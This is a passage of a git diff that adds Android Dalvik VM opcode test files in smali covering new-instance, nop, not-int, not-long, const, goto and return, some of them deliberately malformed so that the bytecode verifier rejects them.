+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_8.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/d/TestInterface;
+#       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/d/TestInterface;-><init>()V
+# intentionally return v4 ("this")    
+       return-object v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.smali
new file mode 100644
index 0000000..cc06091
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_9.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+:Label5
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/new_instance/d/TestAbstractClass;
+#       invoke-direct {v1}, Ldot/junit/opcodes/new_instance/d/TestAbstractClass;-><init>()V
+# intentionally return v4 ("this")    
+       return-object v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.smali
new file mode 100644
index 0000000..9da8aa7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/nop/d/T_nop_1.smali

@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_nop_1.java"
+.class  public Ldot/junit/opcodes/nop/d/T_nop_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       move-object v1, v2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 4
+       const v1, 12345678
+       nop
+       nop
+       nop
+       nop
+       nop
+       move v3, v1
+       nop
+       nop
+       nop
+       if-ne v1, v3, :Label1
+       const/4 v1, 1
+       return v1
+:Label1
+       const/4 v1, 0
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.smali
new file mode 100644
index 0000000..ccaec7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_1.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       not-int v0, v4
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.smali
new file mode 100644
index 0000000..1a2e4ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_2.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       not-int v0, v4
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.smali
new file mode 100644
index 0000000..5c95cfd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_3.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       not-int v0, v5
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.smali
new file mode 100644
index 0000000..02e00eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_4.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 5
+
+       not-int v0, v3
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.smali
new file mode 100644
index 0000000..1300cb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_5.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 5
+
+       not-int v0, v3
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.smali
new file mode 100644
index 0000000..7a85870
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_int/d/T_not_int_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_int_6.java"
+.class  public Ldot/junit/opcodes/not_int/d/T_not_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       not-int v0, v3
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.smali
new file mode 100644
index 0000000..e58e0cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_1.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       not-long v0, v6
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.smali
new file mode 100644
index 0000000..2f85ded
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_2.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 5
+
+       not-long v0, v3
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.smali
new file mode 100644
index 0000000..df9f779
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_3.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 5
+
+       not-long v0, v5
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.smali
new file mode 100644
index 0000000..ffa28d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_4.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 5
+
+       not-long v0, v4
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.smali
new file mode 100644
index 0000000..82a48a9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_5.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 5
+
+       not-long v0, v4
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.smali
new file mode 100644
index 0000000..a0b7ba8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/not_long/d/T_not_long_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_not_long_6.java"
+.class  public Ldot/junit/opcodes/not_long/d/T_not_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 5
+
+       not-long v0, v2
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.smali
new file mode 100644
index 0000000..96121c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_const_2.java"
+.class  public Ldot/junit/opcodes/opc_const/d/T_opc_const_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 255
+
+       const v254, 20000000
+       return v254
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.smali
new file mode 100644
index 0000000..0e2125d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_const_3.java"
+.class  public Ldot/junit/opcodes/opc_const/d/T_opc_const_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v3, 1234
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.smali
new file mode 100644
index 0000000..f0f28d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_const/d/T_opc_const_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_const_4.java"
+.class  public Ldot/junit/opcodes/opc_const/d/T_opc_const_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const v1, 1234
+
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.smali
new file mode 100644
index 0000000..437b9c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_1.smali

@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_goto_1.java"
+.class  public Ldot/junit/opcodes/opc_goto/d/T_opc_goto_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+# test positive offset
+      goto :Label2
+:LabelReturn
+      return v4
+      
+:Label2
+       add-int/lit8 v4, v4, -1
+       if-lez v4, :LabelExit
+# test negative offset       
+       goto :Label2
+       
+:LabelExit
+       goto :LabelReturn
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.smali
new file mode 100644
index 0000000..40c1036
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_goto_2.java"
+.class  public Ldot/junit/opcodes/opc_goto/d/T_opc_goto_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+      goto :Label2
+:Label2
+       return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.smali
new file mode 100644
index 0000000..84fa4e1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_goto_3.java"
+.class  public Ldot/junit/opcodes/opc_goto/d/T_opc_goto_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+      goto :Label2
+:Label2
+       return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.smali
new file mode 100644
index 0000000..394c2c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_goto_4.java"
+.class  public Ldot/junit/opcodes/opc_goto/d/T_opc_goto_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+      goto :Label1
+:Label1
+      return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.smali
new file mode 100644
index 0000000..41b3704
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.smali

@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_1.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 10
+    
+    const v1, 1
+    const v2, 2
+    const v3, 3
+    
+    const v4, 0xdddd
+        
+    invoke-static {}, Ldot/junit/opcodes/opc_return/d/T_opc_return_1;->test()I
+    move-result v6
+    
+    if-ne v4, v6, :Label0
+
+    const v4, 1    
+    if-ne v1, v4, :Label0
+    
+    const v4, 2    
+    if-ne v2, v4, :Label0
+
+    const v4, 3
+    if-ne v3, v4, :Label0
+    
+    const v0, 123456
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method private static test()I
+.registers 6
+    
+    const v0, 9999
+    const v1, 0xaaa
+    const v2, 0xbbbb
+    const v3, 0xcccc
+    
+    const v4, 0xdddd
+    return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.smali
new file mode 100644
index 0000000..12d48c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_5.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 6
+    
+    const v0, 1
+    return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.smali
new file mode 100644
